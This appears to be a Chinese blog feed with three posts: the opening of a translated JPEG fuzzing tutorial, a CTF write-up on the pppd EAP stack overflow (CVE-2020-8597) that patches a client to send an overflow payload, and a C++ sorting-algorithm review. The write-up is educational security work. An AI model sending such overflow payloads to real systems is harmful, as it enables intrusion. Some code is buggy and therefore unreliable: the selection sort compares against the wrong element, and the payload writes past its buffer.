<content type="html"><![CDATA[<h1 id="更新中,未完待续"><a href="#更新中,未完待续" class="headerlink" title="更新中,未完待续"></a>更新中,未完待续</h1><p>翻译自@h0mbre的两篇文章<a href="https://h0mbre.github.io/Fuzzing-Like-A-Caveman/">Fuzz Like A Caveman</a></p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>本文将会展示如何创建一个非常简单的基于变异的fuzzer,理想情况下可以在开源的软件里找到一些crash。文章创建的fuzzer是基于<a href="https://twitter.com/gynvael?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">油管上的@gynvael的fuzz教程</a>,另外还要推荐一下<a href="https://www.youtube.com/user/gamozolabs/videos">Brandon Faulk的fuzz直播</a>,他还有一个很有意思的介绍fuzz思想概念的<a href="https://www.youtube.com/watch?v=SngK4W4tVc0">视频</a></p><h2 id="挑个目标"><a href="#挑个目标" class="headerlink" title="挑个目标"></a>挑个目标</h2><p>我们要找一个C/C++编写的、可以解析从文件里解析出来数据的软件。我找到的第一个软件是一个从图像里解析出Exif的软件,我们还将挑选一个几乎完全不处理安全问题的软件,因为我会直接公开这些漏洞研究。</p><p>通过<a href="https://www.media.mit.edu/pia/Research/deepview/exif.html">这个文章</a>,我们可以了解到一些Exif基础,Exif文件格式和JPEG文件相同,Exif按照JPEG的规范,将一些图像信息数据和缩略图,插入到JPEG文件中,因此你可以在兼容JPEG的浏览器/图片查看器/图片修改等软件中,如同浏览普通JPEG文件一样浏览Exif格式的图像文件。</p><p>因此Exif可以按照JPEG规范,把元数据类型信息插入到图像中,并且有很多软件可以用来解析这些数据。</p><h2 id="开搞"><a href="#开搞" class="headerlink" title="开搞"></a>开搞</h2><p>我们将用Python3做一个基于突变样本的fuzzer,来调整合法的,填充了Exif数据的JPEG文件,然后把它们提供给解析器,看看能不能得到一个崩溃。</p><p>首先,我们需要一个填充了Exif数据的合法的JPEG文件,谷歌搜索<code>Sample JPEG with Exif</code>可以找到这个<a href="https://github.com/ianare/exif-samples/tree/master/jpg">repo</a>,我接下来会用<code>Canon_40D.jpg</code>来作为测试样本。</p><h2 id="了解一下JPEG和Exif的规范"><a href="#了解一下JPEG和Exif的规范" class="headerlink" title="了解一下JPEG和Exif的规范"></a>了解一下JPEG和Exif的规范</h2><p>在开始写代码前,我们应该先了解一下JPEG和Exif规范,保证我们制作的样本都是符合规范的,这样可以防止浪费我们宝贵的fuzz循环。</p><p>通过这个<a href="https://www.media.mit.edu/pia/Research/deepview/exif.html">文档</a>我们可以知道JPEG文件以<code>0xFFD8</code>开始,以<code>0xFFD9</code>结束,前两个字节即操作系统用来标志文件类型的所谓的<a href="https://en.wikipedia.org/wiki/List_of_file_signatures">魔数</a>。</p><pre><code>root@kali:~# file Canon_40D.jpg Canon_40D.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=11, manufacturer=Canon, model=Canon EOS 40D, orientation=upper-left, xresolution=166, yresolution=174, resolutionunit=2, software=GIMP 2.4.5, datetime=2008:07:31 10:38:11, GPS-Data], baseline, precision 8, 100x68, components 3</code></pre><p>我们可以去掉<code>.jpeg</code>得到相同的输出,因为操作系统靠前文中的魔数来识别文件类型。</p><pre><code>root@kali:~# file CanonCanon: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=11, manufacturer=Canon, model=Canon EOS 40D, orientation=upper-left, xresolution=166, yresolution=174, resolutionunit=2, software=GIMP 2.4.5, datetime=2008:07:31 10:38:11, GPS-Data], baseline, precision 8, 100x68, components 3</code></pre><p>用hexdump查看文件的话,可以看到开头和结尾是<code>0xFFD8</code>和<code>0xFFD9</code></p><pre><code>root@kali:~# hexdump Canon0000000 d8ff e0ff 1000 464a 4649 0100 0101 4800------SNIP------0001f10 5aed 5158 d9ff </code></pre><p>文件规范中有个很有意思的信息是标记以<code>0xFF</code>开头,然后有几个静态标记:</p><ul><li>图像开始标记:<code>0xFFD8</code></li><li>APP1标记:<code>0xFFE1</code></li><li>通用标记:<code>0xFFXX</code></li><li>图片结束标记:<code>0xFFD9</code></li></ul><p>由于我们不想改变图像的长度或者类型,所以让我们搞个计划,尽可能保持文件头尾不变,比如我们不希望把<code>0xFFD9</code>插入到图像中央,这样的话就会截断图像,导致图像解析器以非崩溃的方式出错。</p><h2 id="开始我们的fuzzer"><a href="#开始我们的fuzzer" class="headerlink" title="开始我们的fuzzer"></a>开始我们的fuzzer</h2><p>首先我们要提取出来我们要作为<code>有效</code>输入的JPEG样本中的所有字节,当然我们会对它进行一些修改。我们的代码开始是这样的:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从合法JPEG文件中读取字节数据并保存在数组中</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_bytes</span><span class="params">(filename)</span>:</span></span><br><span class="line"> f = open(filename, <span class="string">"rb"</span>).read()</span><br><span class="line"> <span class="keyword">return</span> bytearray(f)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> len(sys.argv) < <span class="number">2</span>:</span><br><span class="line"> print(<span class="string">"Usage: JPEGfuzz.py <valid_jpg>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> filename = sys.argv[<span class="number">1</span>]</span><br><span class="line"> data = get_bytes(filename)</span><br></pre></td></tr></table></figure><p>如果想看一下读取到的数据是什么样的,可以输出一下前十个数据:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> filename = sys.argv[<span class="number">1</span>]</span><br><span class="line"> data = get_bytes(filename)</span><br><span class="line"> counter = <span class="number">10</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> data:</span><br><span class="line"> <span class="keyword">if</span> counter < <span class="number">10</span>:</span><br><span class="line"> print(i)</span><br><span class="line"> counter += <span class="number">1</span></span><br></pre></td></tr></table></figure><p>接下来试着用我们的字节数组创建一个新的有效的JPEG文件:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create_new</span><span class="params">(data)</span>:</span></span><br><span class="line"> f = open(<span class="string">"mutated.jpg"</span>, <span class="string">"wb+"</span>)</span><br><span class="line"> f.write(data)</span><br><span class="line"> f.close()</span><br></pre></td></tr></table></figure><p>看一下md5:</p><pre><code>root@kali:~# shasum Canon_40D.jpg mutated.jpg c3d98686223ad69ea29c811aaab35d343ff1ae9e Canon_40D.jpgc3d98686223ad69ea29c811aaab35d343ff1ae9e mutated.jpg</code></pre><h2 id="文件变异"><a href="#文件变异" class="headerlink" title="文件变异"></a>文件变异</h2><p>为了保持fuzzer的简单,接下来将仅使用两种突变方法:</p><ul><li>比特翻转</li><li>用Gynvael的魔数来覆盖字节序列</li></ul><p>我们先从比特翻转开始,如果255(0xFF)用二进制表示是<code>11111111</code>,随即反转一位比如下标是2的位,就会变成<code>11011111</code>,即223或者0xDF。</p>]]></content>
</entry>
<entry>
<title>De1CTF 2020 Qualifier Pwn</title>
<link href="/2020/05/16/De1CTF-2020-Qualifier-pwn/"/>
<url>/2020/05/16/De1CTF-2020-Qualifier-pwn/</url>
<content type="html"><![CDATA[<h2 id="pppd"><a href="#pppd" class="headerlink" title="pppd"></a>pppd</h2><p>赛后调试一下这个题目,官方提供了<a href="https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/pwn/pppd">题目环境</a></p><p>那么先把docker.zip下载下来解压,然后</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">docker build -t delctf2020:pppd .</span><br><span class="line">docker run -d -p 127.0.0.1:4242:4242 --name pppd delctf2020:pppd</span><br><span class="line">nc 127.0.0.1 4242</span><br></pre></td></tr></table></figure><p>pppd最近的漏洞就是<code>CVE-2020-8597</code>的栈溢出了,就是比赛的时候搞不起来环境。。。<br>官方wp也说了考点在与pppd通信以及在mips下调试,比赛提示了用socat与pppd通信<br>题目提供了<code>rootfs.img, start.sh, vmlinux</code></p><h3 id="step-1"><a href="#step-1" class="headerlink" title="step 1"></a>step 1</h3><p>首先要搞一个调试环境,因为提供了镜像文件<code>rootfs.img</code>,我们用cpio把镜像文件解压出来:</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">mkdir rootfs && <span class="built_in">cd</span> rootfs</span><br><span class="line">cpio -ivmd < rootfs.img <span class="comment"># -i是解压文件,-v列出已处理文件,-m保留文件修改时间,-d需要时创建目录</span></span><br></pre></td></tr></table></figure><p>把<a href="https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.mipsle">mips的gdbserver</a>丢进root里,名字改成gdbserver,给个权限</p><p>接下来修改<code>/etc/inittab</code>文件,<code>inittab</code>是Linux进程起点,pid为1,在引导完成内核后就开始运行init程序,它由若干指令构成,格式:</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Format for each entry: <id>:<runlevels>:<action>:<process></span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># id == tty to run on, or empty for /dev/console</span></span><br><span class="line"><span class="comment"># runlevels == ignored</span></span><br><span class="line"><span class="comment"># action == one of sysinit, respawn, askfirst, wait, and once</span></span><br><span class="line"><span class="comment"># process == program to run</span></span><br></pre></td></tr></table></figure><p>这部分参考<a href="https://www.cnblogs.com/ricks/p/10020886.html">这篇文章</a></p><p>即系统内核引导完成以后,执行这个文件内的指令,那么接下来我们需要修改这个文件让他连接我们的gdb</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"># Put a getty on the serial port</span><br><span class="line">#ttyS0::respawn:/sbin/getty -L ttyS0 0 vt100 # GENERIC_SERIAL</span><br><span class="line"># 注释掉原来启动pppd的指令</span><br><span class="line"># ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100</span><br><span class="line"># 启动网卡</span><br><span class="line">::sysinit:/sbin/ifup -a</span><br><span class="line"># 把gdbserver拉起来,用gdbserver启动pppd</span><br><span class="line">ttyS0::sysinit:/gdbserver :1234 /pppd /dev/ttyS1 auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100</span><br><span class="line"></span><br><span class="line"># Stuff to do for the 3-finger salute</span><br></pre></td></tr></table></figure><h3 id="step-2"><a href="#step-2" class="headerlink" title="step 2"></a>step 2</h3><p>在qemu的启动基本<code>start.sh</code>里加上gdb的1234端口参数:</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">-net user,hostfwd=tcp::1234-:1234 -net nic -serial stdio -serial pty</span><br></pre></td></tr></table></figure><h3 id="step-3"><a href="#step-3" class="headerlink" title="step 3"></a>step 3</h3><p>重新打包镜像:</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">mv rootfs.img rootfs.img.bak</span><br><span class="line"><span class="built_in">cd</span> rootfs</span><br><span class="line">find ./* | cpio -H newc -o > rootfs.img</span><br></pre></td></tr></table></figure><p>然后运行<code>start.sh</code>启动qemu,如果可以看到gdbserver启动消息就成功了</p><pre><code>Linux version 4.11.3 (root@test) (gcc version 6.4.0 (Buildroot 2018.02-rc2) ) #5 SMP Sat Apr 11 07:33:40 UTC 2020earlycon: uart8250 at I/O port 0x3f8 (options '38400n8')bootconsole [uart8250] enabledCPU0 revision is: 00019300 (MIPS 24Kc)FPU revision is: 00739300MIPS: machine is mti,maltaSoftware DMA cache coherency enabledDetermined physical RAM map:memory: 03c00000 @ 00000000 (usable)cacheinfo: Failed to find cpu0 device nodeStarting logging: OKInitializing random number generator... done.udhcpc: started, v1.27.2udhcpc: sending discoverudhcpc: sending select for 10.0.2.15udhcpc: lease of 10.0.2.15 obtained, lease time 86400deleting routersadding dns 10.0.2.3Process /pppd created; pid = 112Listening on port 1234</code></pre><p>接下来就可以用gdb-multiarch连上去了</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">gdb-multiarch -ex <span class="string">'set architecture mips'</span> \</span><br><span class="line"> -ex <span class="string">'target remote :1234'</span> \</span><br><span class="line"> -ex <span class="string">'file rootfs/pppd'</span> \</span><br><span class="line"> -ex <span class="string">'break *0x42F9A8'</span> \</span><br><span class="line"> -ex <span class="string">'continue'</span></span><br></pre></td></tr></table></figure><h3 id="Step-4"><a href="#Step-4" class="headerlink" title="Step 4"></a>Step 4</h3><p>编译一份源码来进行调试,<a href="https://www.anquanke.com/post/id/200639">参考</a></p><pre><code>git clone https://github.com/paulusmack/ppp.gitcd ppp/git checkout ppp-2.4.8 // 切换到存在漏洞的分支./configuremake -j8make install</code></pre><p>漏洞点是在 EAP 协议中,根据文章我们修改一下源码来作为客户端,给服务器发送payload,在客户端的 eap.c 源代码 eap_request() 的函数中,在 EAPT_MD5CHAP 分支下,手动 patch 代码,加入发送到服务端的 payload</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">MD5_Init(&mdContext);</span><br><span class="line">typenum = id;</span><br><span class="line">MD5_Update(&mdContext, &typenum, <span class="number">1</span>);</span><br><span class="line">MD5_Update(&mdContext, (u_char *)secret, secret_len);</span><br><span class="line">BZERO(secret, <span class="keyword">sizeof</span> (secret));</span><br><span class="line">MD5_Update(&mdContext, inp, vallen);</span><br><span class="line">MD5_Final(hash, &mdContext);</span><br><span class="line"><span class="comment">/* payload start */</span></span><br><span class="line"><span class="keyword">char</span> payload[<span class="number">1024</span>];</span><br><span class="line"><span class="built_in">memset</span>(payload, <span class="string">'A'</span>, <span class="number">1024</span> - <span class="number">1</span>);</span><br><span class="line">payload[<span class="number">1024</span>] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="comment">/* payload end */</span></span><br><span class="line">eap_chap_response(esp, id, hash, esp->es_client.ea_name,</span><br><span class="line"> esp->es_client.ea_namelen);</span><br><span class="line"><span class="keyword">break</span>;</span><br></pre></td></tr></table></figure><p>重新编译客户端</p><pre><code>make clean./configuremake -j8make install</code></pre><p>参考的wp:</p><ul><li><a href="https://github.com/De1ta-team/De1CTF2020/blob/master/writeup/pwn/pppd/README_zh.md">https://github.com/De1ta-team/De1CTF2020/blob/master/writeup/pwn/pppd/README_zh.md</a></li><li><a href="https://github.com/xf1les/ctf-writeups/tree/master/De1taCTF_2020/pppd">https://github.com/xf1les/ctf-writeups/tree/master/De1taCTF_2020/pppd</a></li><li><a href="https://github.com/mephi42/ctf/tree/master/2020.05.02-De1CTF_2020/pppd">https://github.com/mephi42/ctf/tree/master/2020.05.02-De1CTF_2020/pppd</a></li></ul>]]></content>
<tags>
<tag> pwn </tag>
</tags>
</entry>
<entry>
<title>排序算法复习</title>
<link href="/2020/04/26/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95%E5%A4%8D%E4%B9%A0/"/>
<url>/2020/04/26/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95%E5%A4%8D%E4%B9%A0/</url>
<content type="html"><![CDATA[<h1 id="更新中,未完待续"><a href="#更新中,未完待续" class="headerlink" title="更新中,未完待续"></a>更新中,未完待续</h1><p>考研凉凉的结果就是不仅失去了应届生走校招的机会,而且还因为疫情走不了,僵。因为接下来准备找一份安全相关的C/C++开发工作,所以在刷了段时间题后,把排序算法重新复习整理一下。之前虽然学习过,但是现在一些不经常用的东西很快就忘了细结了,只能偶尔复习一下。</p><p>本文主要以<a href="https://www.cnblogs.com/onepixel/articles/7674659.html">十大经典排序算法</a>为参考文章来进行复习,使用C++实现,代码都经过了测试。</p><h2 id="冒泡排序-Bubble-Sort"><a href="#冒泡排序-Bubble-Sort" class="headerlink" title="冒泡排序(Bubble Sort)"></a>冒泡排序(Bubble Sort)</h2><p>冒泡排序,选择排序和插入排序算是我使用最多的三种排序方法了,因为实现起来简单,惭愧惭愧。</p><p>流程就是比较相邻的元素,如果前面的比后面的大,就把他们交换一下。</p><p>这样一轮交换结束后,最后一个元素是所有数字里最大的,最坏情况下即数组是逆序的情况下,所有第一轮需要比较和交换n-1次,第二轮是n-2次,以此类推,最后总的比较和交换的次数是1+2+..+n-1=n(n-1)/2次,时间复杂度是O($n^2$),每次对换需要一个temp,所以空间复杂度是O(1),由于对换的时候可以对相同元素选择不对换,所以是稳定的排序。</p><p>i = n - 2<br>j = n - 1<br>代码实现:</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">BubbleSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> n = <span class="built_in">array</span>.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < n - <span class="number">1</span>; i ++){</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> j = <span class="number">0</span>; j < n - i - <span class="number">1</span>; j ++){</span><br><span class="line"> <span class="keyword">if</span>(<span class="built_in">array</span>[j] > <span class="built_in">array</span>[j + <span class="number">1</span>]){</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[j];</span><br><span class="line"> <span class="built_in">array</span>[j] = <span class="built_in">array</span>[j + <span class="number">1</span>];</span><br><span class="line"> <span class="built_in">array</span>[j + <span class="number">1</span>] = temp;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="选择排序-Selection-Sort"><a href="#选择排序-Selection-Sort" class="headerlink" title="选择排序(Selection Sort)"></a>选择排序(Selection Sort)</h2><p>找到最小的一个元素放在第一个位置,然后循环剩下的元素,或者找最大的放最后一个位置。</p><p>比较次数和冒泡实际上是一样的,也是n-1 + n-2 + … + 1 = n * (n - 1) / 2次,时间复杂度是O($n^2$),空间复杂度是O(1)</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">SelectionSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> n = <span class="built_in">array</span>.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < n; i ++){</span><br><span class="line"> <span class="keyword">int</span> <span class="built_in">min</span> = i;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> j = i + <span class="number">1</span>; j < n; j ++){</span><br><span class="line"> <span class="keyword">if</span>(<span class="built_in">array</span>[j] < <span class="built_in">array</span>[i]){</span><br><span class="line"> <span class="built_in">min</span> = j;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[i];</span><br><span class="line"> <span class="built_in">array</span>[i] = <span class="built_in">array</span>[<span class="built_in">min</span>];</span><br><span class="line"> <span class="built_in">array</span>[<span class="built_in">min</span>] = temp;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="插入排序-Insertion-Sort"><a href="#插入排序-Insertion-Sort" class="headerlink" title="插入排序(Insertion Sort)"></a>插入排序(Insertion Sort)</h2><p>插入排序是对每一个元素,从开头开始扫描,找到合适的位置插入</p><p>由于对每个元素,都需要向后移动1+2+..+n-1=n*(n-1) / 2次数据,所以时间复杂度也是O($n^2$),空间复杂度是O(1)</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">InsertionSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> n = <span class="built_in">array</span>.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">1</span>; i < n; i++) {</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[i];</span><br><span class="line"> <span class="keyword">int</span> front = i - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">while</span> (front >= <span class="number">0</span> && <span class="built_in">array</span>[front] > temp) {</span><br><span class="line"> <span class="built_in">array</span>[front + <span class="number">1</span>] = <span class="built_in">array</span>[front];</span><br><span class="line"> front--;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">array</span>[front + <span class="number">1</span>] = temp;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="希尔排序-Shell-Sort"><a href="#希尔排序-Shell-Sort" class="headerlink" title="希尔排序(Shell Sort)"></a>希尔排序(Shell Sort)</h2><p>插入排序的改进,优先比较距离近的元素,所以又叫缩小增量排序,说白了就是把插入排序中,一个一个比较改成从第n个开始比较,作为增量,直到这个增量变为1,因此增量序列是$t_1,t_2,t_3…t_n$,当i < j时有$t_i > t_j$,$t_n = 1$</p><p>目前为止还没有一个最好的增量序列,希尔提出的序列是$t<em>1=n/2$, $t</em>{i+1}=t_i/2$,最坏情况下的时间复杂度是O($n^2$),n在特定范围的时候,时间复杂度是O($n^1.3$),空间复杂度是O(1)</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">ShellSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> n = <span class="built_in">array</span>.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> t = n / <span class="number">2</span>; t > <span class="number">0</span>; t /= <span class="number">2</span>){</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < t; i ++){<span class="comment">// 循环每一组</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> j = i + t; j < n; j += t){</span><br><span class="line"> <span class="keyword">if</span>(<span class="built_in">array</span>[j] < <span class="built_in">array</span>[j - t]){</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[j], k;</span><br><span class="line"> <span class="keyword">for</span>(k = j - t; k >= <span class="number">0</span> && <span class="built_in">array</span>[k] > temp; k -= t){</span><br><span class="line"> <span class="built_in">array</span>[k + t] = <span class="built_in">array</span>[k];</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">array</span>[k + t] = temp;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="快速排序-Quick-Sort"><a href="#快速排序-Quick-Sort" class="headerlink" title="快速排序(Quick Sort)"></a>快速排序(Quick Sort)</h2><p>快速排序是对冒泡排序的改进,基于分治法思想,先选取一个元素作为基准,通过一趟排序,把整个列表划分为独立的两部分,前半部分均小于基准,后半部分大于基准,这时,基准所在的位置是最终结果的位置,整个过程称为一趟快速排序,接下来分别对前后两个子表递归重复上述过程,直至每个部分只有一个元素或者为空为止。</p><p>快速排序的空间复杂度取决于递归调用栈的深度,最好情况下是$\lceil\log_2(n+1)\rceil$,最坏情况下需要进行n-1次递归,栈深度为O(n),因此空间复杂度在最坏情况下为O(n),评价情况下为O($\log_2n$)。</p><p>时间复杂度在最坏情况下,划分的两个部分完全不对称,即一部分是n-1个元素,另一部分是0个元素,在数组完全逆序或者基本有序的情况下,得到最坏情况的时间复杂度O($n^2$)。<br>在理想状态下,每次划分都是最平衡时,得到的两个子排序的时间复杂度都不超过n/2,此时排序的时间复杂度为O($n\log_2n$)。<br>若存在两个相同元素在右端区间,且均小于基准,在这两个元素移动到左边区间时,相对位置会发生替换,因此是不稳定的排序。</p><p>有很多方法可以提高快速排序的效率。第一种方法是在子序列的规模较小的时候就换用直接插入排序。第二方法是尽量选择一个可以均匀划分序列的基准,比如从头尾及中间选取三个元素,然后取其中间值作为基准,或者随机从序列中选择一个基准。</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="comment">/* 保持和前面排序函数相同的接口 */</span></span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">QuickSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span> </span>{</span><br><span class="line"> QuickSortRecursion(<span class="built_in">array</span>, <span class="number">0</span>, <span class="built_in">array</span>.<span class="built_in">size</span>() - <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="comment">/* 用来递归的函数 */</span></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">QuickSortRecursion</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> low, <span class="keyword">int</span> high)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (low < high) { <span class="comment">// 递归结束条件</span></span><br><span class="line"> <span class="keyword">int</span> pivotpos = Partition(<span class="built_in">array</span>, low, high);</span><br><span class="line"> QuickSortRecursion(<span class="built_in">array</span>, low, pivotpos - <span class="number">1</span>);</span><br><span class="line"> QuickSortRecursion(<span class="built_in">array</span>, pivotpos + <span class="number">1</span>, high);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/* 用来划分的函数 */</span></span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">Partition</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> low, <span class="keyword">int</span> high)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> pivot = <span class="built_in">array</span>[low]; <span class="comment">// 第一个元素设置为基准</span></span><br><span class="line"> <span class="keyword">while</span> (low < high) {</span><br><span class="line"> <span class="keyword">while</span> (low < high && <span class="built_in">array</span>[high] >= pivot) --high; <span class="comment">// 从后往前找一个比基准小的元素</span></span><br><span class="line"> <span class="built_in">array</span>[low] = <span class="built_in">array</span>[high]; <span class="comment">// 放在最前面</span></span><br><span class="line"> <span class="keyword">while</span> (low < high && <span class="built_in">array</span>[low] <= pivot) ++low; <span class="comment">// 从前往后找一个比基准大的元素</span></span><br><span class="line"> <span class="built_in">array</span>[high] = <span class="built_in">array</span>[low]; <span class="comment">// 放在最后面</span></span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">array</span>[low] = pivot; <span class="comment">// 基准放到最终位置</span></span><br><span class="line"> <span class="keyword">return</span> low;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="堆排序-Heap-Sort"><a href="#堆排序-Heap-Sort" class="headerlink" title="堆排序(Heap Sort)"></a>堆排序(Heap Sort)</h2><p>堆排序是一种树形的选择排序,在排序过程中,把待排序的序列看作一颗完全二叉树的顺序存储结构,利用二叉树来选择值最大或最小的元素。</p><p>堆存在两种情况:</p><ol><li>根结点小于左右子结点,称为小根堆</li><li>根结点大于左右子结点,称为大根堆</li></ol><p>首先要建立一个大根堆,方法就是先找到最后一个结点的父结点,由于堆是一个完全二叉树,所以最后一个结点的下标的父结点应该是$\lfloor length/2 - 1 \rfloor$(下标从0开始),接着比较最后一个结点和其父结点的值,若大于父结点则交换。对这个父结点和它前面的结点重复上述过程,就完成了初始建堆。</p><p>建堆完成后,所有的数据组成一个大根堆,根结点是最大的元素,将其放在数组末尾,也就是把根结点和最后一个结点交换,交换完成后,堆的结构被破坏,需要重新调整。</p><p>除去已经排好序的最大的结点,其他结点作为一个堆重新进行调整直至成为大根堆。由于只修改了根结点,所以只需要对根结点进行一次向下调整即可。重复把最大元素调整到数组末尾,即可得到一个有序序列。</p><p>建堆的时间复杂度为O(n),所以可以利用建堆找出很多数中的最大的几个数字。建好堆后对堆调整了n-1次,每次调整的时间复杂度取决于二叉树的高度,所以堆排序的时间复杂度为O($n\log_2(n)$),由于使用了常数个辅助单位,所以空间复杂度是O(1),由于在筛选的时候可能把值相同的元素互相调换,所以是一种不稳定的排序。</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">HeapSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span> 